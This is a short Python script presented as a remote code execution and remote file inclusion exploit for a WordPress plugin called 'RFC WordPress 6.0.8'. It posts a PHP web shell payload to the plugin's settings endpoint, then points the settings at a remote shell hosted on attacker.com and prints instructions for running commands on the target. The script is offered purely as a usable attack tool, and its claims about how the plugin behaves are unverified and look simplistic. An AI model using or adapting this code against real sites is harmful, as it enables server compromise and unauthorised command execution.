Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8
 
import requests
import sys
 
target = "https://target.com"
 
# Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8
#CODE BY E1.Coders  "The King of Security"
def exploit_rfc_wordpress():
    url = f"{target}/wp-content/plugins/rfc-wordpress/rfc.php"
    payload = "<?php system($_GET['cmd']); ?>"
   
    try:
        response = requests.post(url, data={"rfc_action": "save_settings", "rfc_settings": payload})
        if response.status_code == 200:
            print("RCE exploit successful!")
            print(f"Visit {url}?cmd=whoami to execute commands")
        else:
            print("RCE exploit failed.")
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")
 
# Exploit for Remote File Inclusion (RFI) in RFC WordPress
def exploit_rfi_rfc_wordpress():
    url = f"{target}/wp-content/plugins/rfc-wordpress/rfc.php?rfc_action=save_settings"
    payload = "http://attacker.com/shell.php"
   
    try:
        response = requests.post(url, data={"rfc_settings": payload})
        if response.status_code == 200:
            print("RFI exploit successful!")
            print(f"Visit {target}/wp-content/plugins/rfc-wordpress/shell.php to execute commands")
        else:
            print("RFI exploit failed.")
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")
 
if __name__ == "__main__":
    exploit_rfc_wordpress()
    exploit_rfi_rfc_wordpress()